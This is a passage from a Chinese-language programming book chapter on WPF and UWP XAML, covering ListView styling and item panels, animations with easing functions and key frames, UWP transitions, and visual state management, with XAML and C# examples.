</Setter.Value> </Setter> </Style> 在WPF中,ListViewItemPresenter不可用,但可以使用ContentPre-senter,如下面的代 码片段所示(代码文件TemplatesWPF/Styles/ListTem-plates.xaml): <Style x:Key="ListViewItemStyle1" TargetType="{x:Type ListViewItem}"> <Setter Property="Template"> <Setter.Value> 图30-20 <ControlTemplate TargetType="{x:Type ListViewItem}"> <Grid Margin="8" Background="Orange"> <ContentPresenter /> </Grid> </ControlTemplate> </Setter.Value> </Setter> </Style> 样式与ListView的ItemContainerStyle属性相关联。这 种样式的结果如图30-20所示。这个图很好地显示了项容 器的边界(代码文件Templates (WPF | UWP]/ StyledList.xaml): <ListView ItemsSource="{Binding Countries}" Marg in="10" ItemContainerStyle="{StaticResource ListViewIt emStyle1}" Style="{StaticResource ListViewStyle1}" MaxWid th="180" /> 30.7.6 项面板 默认情况下,ListView的项垂直放置。这不是在这个视图中安排项的唯一方法,还可 以用其他方式安排它们,如水平放置。在项控件中安排项由项面板负责。 下面的代码片段为ItemsPanelTemplate定义了资源,水平布置ItemsStackPanel,而不是 垂直布置(代码文件TemplatesUWP / Styles / listTemplates.xaml): <ItemsPanelTemplate x:Key="ItemsPanelTemplate1"> <ItemsStackPanel Orientation="Horizontal" Background="Yellow" /> </ItemsPanelTemplate> 在WPF的版本中,VirtualizingStackPanel(而不是ItemsStackPanel)的用法有点不同 (代码文件TemplatesWPF / Styles / listTemplates.xaml): 下面的ListView声明使用与之前相同的Style和ItemContainerStyle,但添加了 ItemsPanel的资源。图30-21显示,项现在水平布置(代码文件Templates(WPF | UWP]/ StyledList.xaml): <ItemsPanelTemplate x:Key="ItemsPanelTemplate1"> <VirtualizingStackPanel IsItemsHost="True" Orientation="Horizontal" Background="Yellow"/> </ItemsPanelTemplate> <ListView ItemsSource="{Binding Countries}" Margin="10" ItemContainerStyle="{StaticResource ListViewItemStyle1}" Style="{StaticResource ListViewStyle1}" ItemsPanel="{StaticResource ItemsPanelTemplate1}" /> 图30-21 30.7.7 列表视图的控件模板 该控件还没有介绍的是滚动功能,以防项不适合放在屏幕上。定义ListView控件的模 板可以改变这个行为。 样式ListViewStyle2将根据需要定义水平和垂直滚动条的行为,且项水平布置。这个 样式还包括对日期模板的资源引用和前面定义的容器项模板。设置Template属性,现在还 可以更改整个ListView控件的UI (代码文件TemplatesUWP / Styles / ListTemplates.xaml): <Style x:Key="ListViewStyle2" TargetType="ListView"> <Setter Property="ScrollViewer.HorizontalScrollBarVisibility" Value="Auto"/> <Setter Property="ScrollViewer.VerticalScrollBarVisibility" Value="Disabled"/> <Setter Property="ScrollViewer.HorizontalScrollMode" Value="Auto"/> <Setter Property="ScrollViewer.IsHorizontalRailEnabled" Value="False"/> <Setter Property="ScrollViewer.VerticalScrollMode" Value="Disabled"/> <Setter Property="ScrollViewer.IsVerticalRailEnabled" Value="False"/> <Setter Property="ScrollViewer.ZoomMode" Value="Disabled"/> <Setter Property="ScrollViewer.IsDeferredScrollingEnabled" Value="False"/> <Setter Property="ScrollViewer.BringIntoViewOnFocusChange" Value="True"/> <Setter Property="ItemTemplate" Value="{StaticResource CountryDataTemplate}" /> <Setter Property="ItemContainerStyle" Value="{StaticResource ListViewItemStyle1}" /> <Setter Property="ItemsPanel"> <Setter.Value> <ItemsPanelTemplate> <ItemsStackPanel Orientation="Horizontal" Background="Yellow"/> </ItemsPanelTemplate> </Setter.Value> </Setter> <Setter Property="Template" > <Setter.Value> <ControlTemplate TargetType="ListView"> <Border BorderBrush="{TemplateBinding BorderBrush}" BorderThickness="{TemplateBinding BorderThickness}" Background="{TemplateBinding Background}"> <ScrollViewer x:Name="ScrollViewer"> <! -ScrollViewer definitions removed for clarity-> <ItemsPresenter FooterTransitions= "{TemplateBinding FooterTransitions}" FooterTemplate="{TemplateBinding FooterTemplate}" Footer="{TemplateBinding Footer}" HeaderTemplate="{TemplateBinding HeaderTemplate}" Header="{TemplateBinding Header}" HeaderTransitions="{TemplateBinding HeaderTransitions}" Padding="{TemplateBinding Padding}"/> </ScrollViewer> </Border> </ControlTemplate> </Setter.Value> </Setter> </Style>  注意: 在WPF中,ListView控件的模板与UWP模板相似。ItemsPresenter没有 提供UWP ItemsPresenter的许多属性,如与平移相关的属性。 有了这个资源,ListView的定义就很简单了,因为只需要引用ListViewStyle2和 ItemsSource,来检索数据(代码文件Templates[WPF | UWP]/StyledList.xaml): <ListView ItemsSource="{Binding Countries}" Margin="10" Style="{StaticResource ListViewStyle2}" /> 新视图如图30-22所示。现在滚动条可用了。 图30-22 30.8 动画 在动画中,可以使用移动的元素、颜色变化、变换等制作平滑的变换效果。XAML使 动画的制作非常简单。还可以连续改变任意依赖属性的值。不同的动画类可以根据其类 型,连续改变不同属性的值。 动画最重要的元素是时间轴,它定义了值随时间的变化方式。有不同类型的时间轴, 可用于改变不同类型的值。所有时间轴的基类都是Timeline。为了连续改变double值,可 以使用DoubleAnimation类。Int32Animation类是int值的动画类。PointAnimation类用于连 续改变点,ColorAnimation类用于连续改变颜色。 Storyboard类可以用于合并时间轴。Storyboard类派生自基类TimelineGroup, TimelineGroup又派生自基类Timeline。  注意: 动画类的名称空间,在WPF中是System.Windows.Media.Animation。 在UWP应用程序中是Windows.UI.Xaml.Media.Animation。 30.8.1 时间轴 Timeline定义了值随时间的变化方式。下面的示例连续改变椭圆的大小。在接下来的 代码中,DoubleAnimation时间轴缩放和平移椭圆;ColorAnimation改变填充画笔的颜色。 Ellipse类的Triggers属性设置为EventTrigger。加载椭圆时触发事件。BeginStoryboard是启 动故事板的触发器动作。在故事板中,DoubleAnimation元素用于连续改变 CompositeTransform类的ScaleX、ScaleY、TranslateX、TranslateY属性。动画在10秒内把 水平比例改为5,垂直比例改为3(代码文件AnimationUWP /SimpleAnimation.xaml): <Ellipse x:Name="ellipse1" Width="100" Height="40" HorizontalAlignment="Left" VerticalAlignment="Top"> <Ellipse.Fill> <SolidColorBrush Color="Green" /> </Ellipse.Fill> <Ellipse.RenderTransform> <CompositeTransform ScaleX="1" ScaleY="1" TranslateX="0" TranslateY="0" /> </Ellipse.RenderTransform> <Ellipse.Triggers> <EventTrigger> <BeginStoryboard> <Storyboard x:Name="MoveResizeStoryboard"> <DoubleAnimation Duration="0:0:10" To="5" Storyboard.TargetName="ellipse1" Storyboard.TargetProperty= "(UIElement.RenderTransform).(CompositeTransform.ScaleX)" /> <DoubleAnimation Duration="0:0:10" To="3" Storyboard.TargetName="ellipse1" Storyboard.TargetProperty= "(UIElement.RenderTransform).(CompositeTransform.ScaleY)" /> <DoubleAnimation Duration="0:0:10" To="400" Storyboard.TargetName="ellipse1" Storyboard.TargetProperty= "(UIElement.RenderTransform).(CompositeTransform.TranslateX)" /> <DoubleAnimation Duration="0:0:10" To="200" Storyboard.TargetName="ellipse1" Storyboard.TargetProperty= "(UIElement.RenderTransform).(CompositeTransform.TranslateY)" /> <ColorAnimation Duration="0:0:10" To="Red" Storyboard.TargetName="ellipse1" Storyboard.TargetProperty= "(Ellipse.Fill).(SolidColorBrush.Color)" /> </Storyboard> </BeginStoryboard> </EventTrigger> </Ellipse.Triggers> </Ellipse> 在WPF中,XAML代码略有不同。因为没有CompositeTransform元素,所以使用 Transfor-mationGroup元素(代码文件AnimationWPF / SimpleAnimation.xaml): <Ellipse.RenderTransform> <TransformGroup> <ScaleTransform x:Name="scale1" ScaleX="1" ScaleY="1" /> <TranslateTransform X="0" Y="0" /> </TransformGroup> </Ellipse.RenderTransform> 使用ScaleTransform和TranslateTransform,动画就会访问TransformGroup的集合,使 用一个索引器可以访问ScaleX、ScaleY、X和Y属性: <DoubleAnimation Duration="0:0:10" To="5" Storyboard.TargetName="ellipse1" Storyboard.TargetProperty= "(UIElement.RenderTransform).Children[0].(ScaleTransform.ScaleX)" /> <DoubleAnimation Duration="0:0:10" To="3" Storyboard.TargetName="ellipse1" Storyboard.TargetProperty= "(UIElement.RenderTransform).Children[0].(ScaleTransform.ScaleY)" /> <DoubleAnimation Duration="0:0:10" To="400" Storyboard.TargetName="ellipse1" Storyboard.TargetProperty= "(UIElement.RenderTransform).Children[1].(TranslateTransform.X)" /> <DoubleAnimation Duration="0:0:10" To="200" Storyboard.TargetName="ellipse1" Storyboard.TargetProperty= "(UIElement.RenderTransform).Children[1].(TranslateTransform.Y)" /> 除了在组合变换中使用索引器之外,也可以通过名称访问ScaleTransform元素。下面 的代码简化了该属性的名称: <DoubleAnimation Duration="0:0:10" To="5" Storyboard.TargetName="scale1" Storyboard.TargetProperty="(ScaleX)" /> 在WPF中,还必须通过EventTrigger指定RoutedEvent属性。在Windows Universal应用 程序中,事件会在加载元素时自动触发。在WPF中这可以显式地指定: <EventTrigger RoutedEvent="Loaded"> <BeginStoryboard> 图30-23和图30-24显示了具有动画效果的椭圆的两个状态。 图30-23 图30-24 动画并不仅仅是一直和立刻显示在屏幕上的一般窗口动画。还可以给业务应用程序添 加动画,使用户界面的响应性更好。光标划过按钮或单击按钮时的外观由动画定义。 Timeline可以完成的任务如表30-3所示。 表30-3 Timeline属性 说明 AutoReverse 使用AutoReverse属性,可以指定连续改变的值在动画结束 后是否返回初始值 SpeedRatio 使用SpeedRatio,可以改变动画的移动速度。在这个属性 中,可以定义父子元素的相对关系。默认值为1;将速率设 置为较小的值,会使动画移动较慢;将速率设置为高于1的 值,会使动画移动较快 BeginTime 使用BeginTime,可以指定从触发器事件开始到动画开始移 动之间的时间长度。其单位可以是天、小时、分钟、秒和几 分之秒。根据SpeedRatio,这可以不是真实的时间。例如, 如果把SpeedRatio设置为2,把开始时间设置为6秒,动画就 在3秒后开始 Duration 使用Duration属性,可以指定动画重复一次的时间长度 RepeatBehavior 给RepeatBehavior属性指定一个RepeatBehavior结构,可以定 义动画的重复次数或重复时间 FillBehavior 如果父元素的时间轴有不同的持续时间,FillBehavior属性 就很重要。例如,如果父元素的时间轴比实际动画的持续时 间短,则将FillBehavior设置为Stop就表示实际动画停止。如 果父元素的时间轴比实际动画的持续时间长,HoldEnd就会 一直执行动画,直到把它重置为初始值为止(假定把 AutoReverse设置为true) 根据Timeline类的类型,还可以使用其他一些属性。例如,使用DoubleAnimation,可 以为动画的开始和结束设置From和To属性。还可以指定By属性,用Bound属性的当前值 启动动画,该属性值会递增由By属性指定的值。 30.8.2 缓动函数 在前面的动画中,值以线性的方式变化。但在现实生活中,移动不会呈线性的方式。 移动可能开始时较慢,逐步加快,达到最高速度,然后减缓,最后停止。一个球掉到地 上,会反弹几次,最后停在地上。这种非线性行为可以使用非线性动画创建。 动画类有EasingFunction属性。这个属性接受一个实现了IEasingFunction接口(WPF) 或派生自基类EasingFunctionBase (Windows Universal应用程序)的对象。通过这个类 型,缓动函数对象可以定义值随着时间如何变化。有几个缓动函数可用于创建非线性动 画,如ExponentialEase,它给动画使用指数公式;QuadraticEase、CubicEase、QuarticEase 和QuinticEase的指数分别是2、3、4、5, PowerEase的指数是可以配置的。特别有趣的是 SineEase,它使用正弦曲线,BounceEase创建弹跳效果,ElasticEase用弹簧的来回震荡模 拟动画值。 下面的代码把BounceEase函数添加到DoubleAnimation中。添加不同的缓动函数,就 会看到动画的有趣效果: <DoubleAnimation Storyboard.TargetProperty="(Ellipse.Width)" Duration="0:0:3" AutoReverse="True" FillBehavior=" RepeatBehavior="Forever" From="100" To="300"> <DoubleAnimation.EasingFunction> <BounceEase EasingMode="EaseInOut" /> </DoubleAnimation.EasingFunction> </DoubleAnimation> 为了看到不同的缓动动画,下一个示例让椭圆在两个小矩形之间移动。Rectangle和 Ellipse元素在Canvas画布上定义,椭圆定义了TranslateTransform变换,来移动椭圆(代码 文件Animation[WPF| UWP]\EasingFunctions.xaml): <Canvas Grid.Row="1"> <Rectangle Fill="Blue" Width="10" Height="200" Canvas.Left="50" Canvas.Top="100" /> <Rectangle Fill="Blue" Width="10" Height="200" Canvas.Left="550" Canvas.Top="100" /> <Ellipse Fill="Red" Width="30" Height="30" Canvas.Left="60" Canvas.Top="185 "> <Ellipse.RenderTransform> <TranslateTransform x:Name="translate1" X="0" Y="0" /> </Ellipse.RenderTransform> </Ellipse> </Canvas> 图30-25显示了矩形和椭圆。 图30-25 用户单击一个按钮,启动动画。单击此按钮之前,用户可以从 ComboBoxcomboEasingFunctions中选择缓动函数,使用单选按钮选择一个EasingMode枚 举值。 <StackPanel Orientation="Horizontal"> <ComboBox x:Name="comboEasingFunctions" Margin="10" /> <Button Click="OnStartAnimation" Margin="10">Start</Button> <Border BorderThickness="1" BorderBrush="Black" Margin="3"> <StackPanel Orientation="Horizontal"> <RadioButton x:Name="easingModeIn" GroupName="EasingMode" Content="In" /> <RadioButton x:Name="easingModeOut" GroupName="EasingMode" Content="Out" IsChecked="True" /> <RadioButton x:Name="easingModeInOut" GroupName="EasingMode" Content="InOut" /> </StackPanel> </Border> </StackPanel> ComboBox中显示的、动画激活的缓动函数列表从EasingFunctionManager的 EasingFunctionModels属性中返回。这个管理器把缓动函数转换为EasingFunctionModel, 以显示出来(代码文件Animation [WPF | UWP]\EasingFunctionsManager.cs): public class EasingFunctionsManager { private static IEnumerable<EasingFunctionBase> s_easingFunctions = new List<EasingFunctionBase>() { new BackEase(), new SineEase(), new BounceEase(), new CircleEase(), new CubicEase(), new ElasticEase(), new ExponentialEase(), new PowerEase(), new QuadraticEase(), new QuinticEase() }; public IEnumerable<EasingFunctionModel> EasingFunctionModels => s_easingFunctions.Select(f => new EasingFunctionModel(f)); } EasingFunctionModel的类定义了ToString方法,返回定义了缓动函数的类的名称。这 个名字显示在组合框中(代码文件Animation[WPF | UWP]\EasingFunctionModel.cs): public class EasingFunctionModel { public EasingFunctionModel(EasingFunctionBase easingFunction) { EasingFunction = easingFunction; } public EasingFunctionBase EasingFunction { get; } public override string ToString() => EasingFunction.GetType().Name; } ComboBox在代码隐藏文件的构造函数中填充(代码文件Animation[WPF | UWP]/EasingFunctions. xaml.cs): private EasingFunctionsManager _easingFunctions = new EasingFunctionsManager( ); private const int AnimationTimeSeconds = 6; public EasingFunctions() { this.InitializeComponent(); foreach (var easingFunctionModel in _easingFunctions.EasingFunctionModels) { comboEasingFunctions.Items.Add(easingFunctionModel); } } 在用户界面中,不仅可以选择应该用于动画的缓动函数的类型,也可以选择缓动模 式。所有缓动函数的基类(EasingFunctionBase)定义了EasingMode属性,它可以是 EasingMode枚举的值。 单击此按钮,启动动画,会调用OnStartAnimation方法。该方法又调用StartAnimation 方法。在这个方法中,通过编程方式创建一个包含DoubleAnimation的故事板。之前列出 了使用XAML的类似代码。动画连续改变translate1元素的X属性。在WPF和UWP应用程序 中以编程方式创建动画略有不同;不同的代码由预处理器命令处理(代码文件 Animation[WPF | UWP]\ EasingFunctions.xaml.cs): private void OnStartAnimation(object sender, RoutedEventArgs e) { var easingFunctionModel = comboEasingFunctions.SelectedItem as EasingFunctionModel; if (easingFunctionModel ! = null) { EasingFunctionBase easingFunction = easingFunctionModel.EasingFunction; easingFunction.EasingMode = GetEasingMode(); StartAnimation(easingFunction); } } private void StartAnimation(EasingFunctionBase easingFunction) { #if WPF NameScope.SetNameScope(translate1, new NameScope()); #endif var storyboard = new Storyboard(); var ellipseMove = new DoubleAnimation(); ellipseMove.EasingFunction = easingFunction; ellipseMove.Duration = new Duration(TimeSpan.FromSeconds(AnimationTimeSeconds)); ellipseMove.From = 0; ellipseMove.To = 460; #if WPF Storyboard.SetTargetName(ellipseMove, nameof(translate1)); Storyboard.SetTargetProperty(ellipseMove, new PropertyPath(TranslateTransform.XProperty)); #else Storyboard.SetTarget(ellipseMove, translate1); Storyboard.SetTargetProperty(ellipseMove, "X"); #endif // start the animation in 0.5 seconds ellipseMove.BeginTime = TimeSpan.FromSeconds(0.5); // keep the position after the animation ellipseMove.FillBehavior = FillBehavior.HoldEnd; storyboard.Children.Add(ellipseMove); #if WPF storyboard.Begin(this); #else storyBoard.Begin(); #endif } 现在,可以运行应用程序,看看椭圆使用不同的缓动函数,以不同的方式,从左矩形 移动到右矩形。使用一些缓动函数,比如BackEase、BounceEase或ElasticEase,区别是显 而易见的。其他的一些缓动函数没有明显的区别。为了更好地理解缓动值如何变化,可以 创建一个折线图,其中显示了一条线,其上的值由基于时间的缓动函数返回。 为了显示折线图,可以创建一个用户控件,它定义了一个Canvas元素。默认情况下, x方向从左到右,y方向从上到下。为了把y方向改为从下到上,可以定义一个变换(代码 文件Animation[WPF| UWP]/EasingChartControl.xaml): <Canvas x:Name="canvas1" Width="500" Height="500" Background="Yellow"> <Canvas.RenderTransform> <TransformGroup> <ScaleTransform ScaleX="1" ScaleY="-1" /> <TranslateTransform X="0" Y="500" /> </TransformGroup> </Canvas.RenderTransform> </Canvas> 在代码隐藏文件中,使用线段绘制折线图。这里,它们可以在代码中使用。通过传递 x轴上显示的时间值的规范化值,缓动函数的Ease方法就返回一个值,显示在y轴上(代码 文件Animation [WPF | UWP]/ EasingChartControl.xaml.cs): private const double SamplingInterval = 0.01; public void Draw(EasingFunctionBase easingFunction) { canvas1.Children.Clear(); var pathSegments = new PathSegmentCollection(); for (double i = 0; i < 1; i += _samplingInterval) { double x = i * canvas1.Width; double y = easingFunction.Ease(i) * canvas1.Height; var segment = new LineSegment(); segment.Point = new Point(x, y); pathSegments.Add(segment); } var p = new Path(); p.Stroke = new SolidColorBrush(Colors.Black); p.StrokeThickness = 3; var figures = new PathFigureCollection(); figures.Add(new PathFigure { Segments = pathSegments }); p.Data = new PathGeometry { Figures = figures }; canvas1.Children.Add(p); } EasingChartControl的Draw方法在动画开始时调用(代码文件Animation[WPF | UWP]/Easing-Functions.xaml.cs): private void StartAnimation(EasingFunctionBase easingFunction) { // show the chart chartControl.Draw(easingFunction); //... 当运行应用程序时,可以看到使用CubicEase和EaseOut的结果,如图30-26所示。选择 EaseIn时,值在动画的开始变化得较慢,在动画的后面变化得较快,如图30-27所示。图 30-28显示使用CubicEase和EaseInOut的效果。BounceEase、BackEase和ElasticEase的图表 如图30-29、图30-30和图30-31所示。 图30-26 图30-27 图30-28 图30-29 图30-30 图30-31 30.8.3 关键帧动画 如前所述,使用缓动函数,就可以用非线性的方式制作动画。如果需要为动画指定几 个值,就可以使用关键帧动画。与正常的动画一样,关键帧动画也有不同的动画类型,它 们可以改变不同类型的属性。 DoubleAnimationUsingKeyFrames是双精度类型的关键帧动画。其他关键帧动画类型 有Int32AnimationUsingKeyFrames、PointAnimationUsingKeyFrames、 ColorAnimationUsingKeyFrames、SizeAnimationUsingKeyFrames以及 ObjectAnimationUsingKeyFrames。 示例XAML代码连续地改变TranslateTransform元素的X值和Y值,从而改变椭圆的位 置。把EventTrigger定义为RountedEvent Ellipse.Loaded,动画就会在加载椭圆时启动。事 件触发器用BeginStoryboard元素启动一个Storyboard。该Storyboard包含两个 DoubleAnimationUsingKeyFrame类型的关键帧动画。关键帧动画由帧元素组成。第一幅关 键帧动画使用一个LinearKeyFrame、一个DiscreteDoubleKeyFrame和一个 SplineDoubleKeyFrame;第二幅关键帧动画是一个EasingDoubleKeyFrame。 LinearDoubleKeyFrame使对应值线性变化。KeyTime属性定义了动画应何时达到Value属性 的值。 这里LinearDoubleKeyFrame用3秒的时间使X属性到达值30。DiscreteDoubleKeyFrame 在4秒后立即改变为新值。SplineDoubleKeyFrame使用贝塞尔曲线,其中的两个控制点由 KeySpline属性指定。EasingDoubleKeyFrame是一个帧类,它支持设置缓动函数(如 BounceEase)来控制动画值(代码文件AnimationUWP/KeyFrameAnimation.xaml): <Canvas> <Ellipse Fill="Red" Canvas.Left="20" Canvas.Top="20" Width="25" Height="25" > <Ellipse.RenderTransform> <TranslateTransform X="50" Y="50" x:Name="ellipseMove" /> </Ellipse.RenderTransform> <Ellipse.Triggers> <EventTrigger> <BeginStoryboard> <Storyboard> <DoubleAnimationUsingKeyFrames Storyboard.TargetProperty="X" Storyboard.TargetName="ellipseMove"> <LinearDoubleKeyFrame KeyTime="0:0:2" Value="30" /> <DiscreteDoubleKeyFrame KeyTime="0:0:4" Value="80" /> <SplineDoubleKeyFrame KeySpline="0.5,0.0 0.9,0.0" KeyTime="0:0:10" Value="300" /> <LinearDoubleKeyFrame KeyTime="0:0:20" Value="150" /> </DoubleAnimationUsingKeyFrames> <DoubleAnimationUsingKeyFrames Storyboard.TargetProperty="Y" Storyboard.TargetName="ellipseMove"> <SplineDoubleKeyFrame KeySpline="0.5,0.0 0.9,0.0" KeyTime="0:0:2" Value="50" /> <EasingDoubleKeyFrame KeyTime="0:0:20" Value="300"> <EasingDoubleKeyFrame.EasingFunction> <BounceEase /> </EasingDoubleKeyFrame.EasingFunction> </EasingDoubleKeyFrame> </DoubleAnimationUsingKeyFrames> </Storyboard> </BeginStoryboard> </EventTrigger> </Ellipse.Triggers> </Ellipse> </Canvas> 在WPF中,也可以使用关键帧动画。UWP文件的唯一区别就是EventTrigger没有默认 事件。在WPF中,需要添加RoutedEvent特性,否则XAML代码是相同的(代码文件 AnimationWPF /KeyFrameAnimation.xaml): <EventTrigger RoutedEvent="Ellipse.Loaded"> <! -- storyboard --> </EventTrigger> 30.8.4 过渡(UWP应用程序) 为方便创建带动画的用户界面,UWP应用程序定义了过渡效果。过渡效果更容易创 建引人注目的应用程序,而不需要考虑如何制作很酷的动画。过渡效果预定义了如下动 画:添加、移除和重新排列列表上的项,打开面板,改变内容控件的内容等。 下面的示例演示了几个过渡效果,在用户控件的左边和右边展示它们,再显示没有过 渡效果的相似元素,这有助于看到它们之间的差异。当然,需要启动应用程序,才能看到 区别,很难在印刷出来的书上证明这一点。 1.复位过渡效果 第一个例子在按钮元素的Transitions属性中使用了RepositionThemeTransition。过渡效 果总是需要在TransitionCollection内定义,因为这样的集合是不会自动创建的,如果没有 使用TransitionCollection,就会显示一个有误导作用的运行时错误。第二个按钮不使用过 渡效果(代码文件TransitionsUWP /RepositionUserControl.xaml): <Button Grid.Row="1" Click="OnReposition" Content="Reposition" x:Name="buttonReposition" Margin="10"> <Button.Transitions> <TransitionCollection> <RepositionThemeTransition /> </TransitionCollection> </Button.Transitions> </Button> <Button Grid.Row="1" Grid.Column="1" Click="OnReset" Content="Reset" x:Name="button2" Margin="10" /> RepositionThemeTransition是控件改变其位置时的过渡效果。在代码隐藏文件中,用 户单击按钮时,Margin属性会改变,按钮的位置也会改变。 private void OnReposition(object sender, RoutedEventArgs e) { buttonReposition.Margin = new Thickness(100); button2.Margin = new Thickness(100); } private void OnReset(object sender, RoutedEventArgs e) { buttonReposition.Margin = new Thickness(10); button2.Margin = new Thickness(10); } 2.窗格过渡效果 PopupThemeTransition和PaneThemeTransition显示在下一个用户控件中。在这里,过 渡效果用Popup控件的ChildTransitions属性定义(代码文件TransitionsUWP \ PaneTransitionUserControl.xaml): <StackPanel Orientation="Horizontal" Grid.Row="2"> <Popup x:Name="popup1" Width="200" Height="90" Margin="60"> <Border Background="Red" Width="100" Height="60"> </Border> <Popup.ChildTransitions> <TransitionCollection> <PopupThemeTransition /> </TransitionCollection> </Popup.ChildTransitions> </Popup> <Popup x:Name="popup2" Width="200" Height="90" Margin="60"> <Border Background="Red" Width="100" Height="60"> </Border> <Popup.ChildTransitions> <TransitionCollection> <PaneThemeTransition /> </TransitionCollection> </Popup.ChildTransitions> </Popup> <Popup x:Name="popup3" Margin="60" Width="200" Height="90"> <Border Background="Green" Width="100" Height="60"> </Border> </Popup> </StackPanel> 代码隐藏文件通过设置IsOpen属性,打开和关闭Popup控件。这会启动过渡效果(代 码文件TransitionsUWP \ PaneTransitionUserControl.xaml): private void OnShow(object sender, RoutedEventArgs e) { popup1.IsOpen = true; popup2.IsOpen = true; popup3.IsOpen = true; } private void OnHide(object sender, RoutedEventArgs e) { popup1.IsOpen = false; popup2.IsOpen = false; popup3.IsOpen = false; } 运行应用程序时可以看到,打开Popup和Flyout控件的PopupThemeTransition看起来不 错。PaneThemeTransition慢慢从右侧打开Popup。这个过渡效果也可以通过设置属性,配 置为从其他侧边打开,因此最适合面板,例如设置栏,它从一个侧边移入。 3.项的过渡效果 从项控件中添加和删除项也定义了过渡效果。以下的ItemsControl利用了 EntranceTheme-Transition和RepositionThemeTransition。项添加到集合中时使用 EntranceThemeTransition;重新安排项时,例如从列表中删除项时,使用 RepositionThemeTransition (代码文件TransitionsUWP \ListItemsUserControl.xaml): <ItemsControl Grid.Row="1" x:Name="list1"> <ItemsControl.ItemContainerTransitions> <TransitionCollection> <EntranceThemeTransition /> <RepositionThemeTransition /> </TransitionCollection> </ItemsControl.ItemContainerTransitions> </ItemsControl> <ItemsControl Grid.Row="1" Grid.Column="1" x:Name="list2" /> 在代码隐藏文件中,Rectangle对象在列表控件中添加和删除。一个ItemsControl对象 没有关联的过渡效果,所以运行应用程序时,很容易看出差异(代码文件TransitionsUWP \ ListItemsUserControl. xaml.cs): private void OnAdd(object sender, RoutedEventArgs e) { list1.Items.Add(CreateRectangle()); list2.Items.Add(CreateRectangle()); } private Rectangle CreateRectangle() => new Rectangle { Width = 90, Height = 40, Margin = new Thickness(5), Fill = new SolidColorBrush { Color = Colors.Blue } }; private void OnRemove(object sender, RoutedEventArgs e) { if (list1.Items.Count > 0) { list1.Items.RemoveAt(0); list2.Items.RemoveAt(0); } }  注意: 通过这些过渡效果,了解了如何减少使用户界面连续动起来所需的工 作量。一定要查看可用于UWP应用程序的更多过渡效果。查看MSDN文档的Transition 中的派生类,可以看到所有的过渡效果。 30.9 可视化状态管理器 本章前面的“控件模板”中,介绍了如何创建控件模板,自定义控件的外观。其中还缺 了些什么。使用按钮的默认模板,按钮会响应鼠标的移动和单击,当鼠标移动到按钮或单 击按钮时,按钮的外观是不同的。这种外观变化通过可视化状态和动画来处理,由可视化 状态管理器控制。 本节介绍如何改变按钮样式,来响应鼠标的移动和单击,还描述了如何创建自定义状 态,当几个控件应该切换到禁用状态时,例如进行一些后台处理时,这些自定义状态用于 处理完整页面的变化。 对于XAML元素,可以定义可视化状态、状态组和状态,指定状态的特定动画。状态 组允许同时有多个状态。对于一组,一次只能有一个状态。然而,另一组的另一个状态可 以在同一时间激活。例如,WPF按钮的状态和状态组。WPF按钮控件定义了状态组 CommonStates、FocusStates和ValidationStates。用FocusStates定义的状态是Focused和 Unfocused,用组ValidationStates定义的状态是Valid、InvalidFocused和InvalidUnfocused。 CommonStates组定义了状态Normal、MouseOver、Pressed和Disabled。有了这些选项,多 个状态可以同时激活,但一个状态组内总是只有一个状态是激活的。例如,鼠标停放在一 个按钮上时,按钮可以是Focused和Valid。它也可以是Unfocused、Valid和Normal状态。 在UWP应用程序中,按钮控件只定义了CommonStates状态组。WPF定义了MouseOver状 态,但在UWP中,这个状态是PointerOver。还可以定义定制的状态和状态组。 下面看看具体的例子。 30.9.1 用控件模板预定义状态 下面利用先前创建的自定义控件模板,样式化按钮控件,使用可视化状态改进它。为 此,一个简单的方法是使用Microsoft Blend for Visual Studio。图30-32显示了状态窗口, 选择控件模板时就会显示该窗口。在这里可以看到控件的可用状态,并基于这些状态记录 变化。 图30-32 之前的按钮模板改为定义可视化状态:Pressed、Disabled和PointerOver。在状态中, Storyboard定义了一个ColorAnimation来改变椭圆的Fill属性(代码文件VisualStatesUWP / MainPage.xaml): <Style x:Key="RoundedGelButton" TargetType="Button"> <Setter Property="Width" Value="100" /> <Setter Property="Height" Value="100" /> <Setter Property="Foreground" Value="White" /> <Setter Property="Template"> <Setter.Value> <ControlTemplate TargetType="Button"> <Grid> <VisualStateManager.VisualStateGroups> <VisualStateGroup x:Name="CommonStates"> <VisualState x:Name="Normal"/> <VisualState x:Name="Pressed"> <Storyboard> <ColorAnimation Duration="0" To="#FFC8CE11" Storyboard.TargetProperty= "(Shape.Fill).(SolidColorBrush.Color)" Storyboard.TargetName= "GelBackground" /> </Storyboard> </VisualState> <VisualState x:Name="Disabled"> <Storyboard> <ColorAnimation Duration="0" To="#FF606066" Storyboard.TargetProperty= "(Shape.Fill).(SolidColorBrush.Color)" Storyboard.TargetName="GelBackground" /> </Storyboard> </VisualState> <VisualState x:Name="PointerOver"> <Storyboard> <ColorAnimation Duration="0" To="#FF0F9D3A" Storyboard.TargetProperty= "(Shape.Fill).(SolidColorBrush.Color)" Storyboard.TargetName="GelBackground" /> </Storyboard> </VisualState> </VisualStateGroup> </VisualStateManager.VisualStateGroups> <Ellipse x:Name="GelBackground" StrokeThickness="0.5" Fill="Black"> <Ellipse.Stroke> <LinearGradientBrush StartPoint="0,0" EndPoint="0,1"> <GradientStop Offset="0" Color="#ff7e7e7e" /> <GradientStop Offset="1" Color="Black" /> </LinearGradientBrush> </Ellipse.Stroke> </Ellipse> <Ellipse Margin="15,5,15,50"> <Ellipse.Fill> <LinearGradientBrush StartPoint="0,0" EndPoint="0,1"> <GradientStop Offset="0" Color="#aaffffff" /> <GradientStop Offset="1" Color="Transparent" /> </LinearGradientBrush> </Ellipse.Fill> </Ellipse> <ContentPresenter x:Name="GelButtonContent" VerticalAlignment="Center" HorizontalAlignment="Center" Content="{TemplateBinding Content}" /> </Grid> </ControlTemplate> </Setter.Value> </Setter> </Style> 现在运行应用程序,可以看到颜色随着鼠标的移动和单击而变化。 30.9.2 定义自定义状态 使用VisualStateManager可以定义定制的状态,使用VisualStateGroup和VisualState的状 态可以定义定制的状态组。下面的代码片段在CustomStates组内创建了Enabled和Disabled 状态。可视化状态在主窗口的网格中定义。改变状态时,Button元素的IsEnabled属性使用 DiscreteObjectKeyFrame动画立即改变(代码文件VisualStatesUWP / MainPage.xaml): <VisualStateManager.VisualStateGroups> <VisualStateGroup x:Name="CustomStates"> <VisualState x:Name="Enabled"/> <VisualState x:Name="Disabled"> <Storyboard> <ObjectAnimationUsingKeyFrames Storyboard.TargetProperty="(Control.IsEnabled)" Storyboard.TargetName="button1"> <DiscreteObjectKeyFrame KeyTime="0"> <DiscreteObjectKeyFrame.Value> 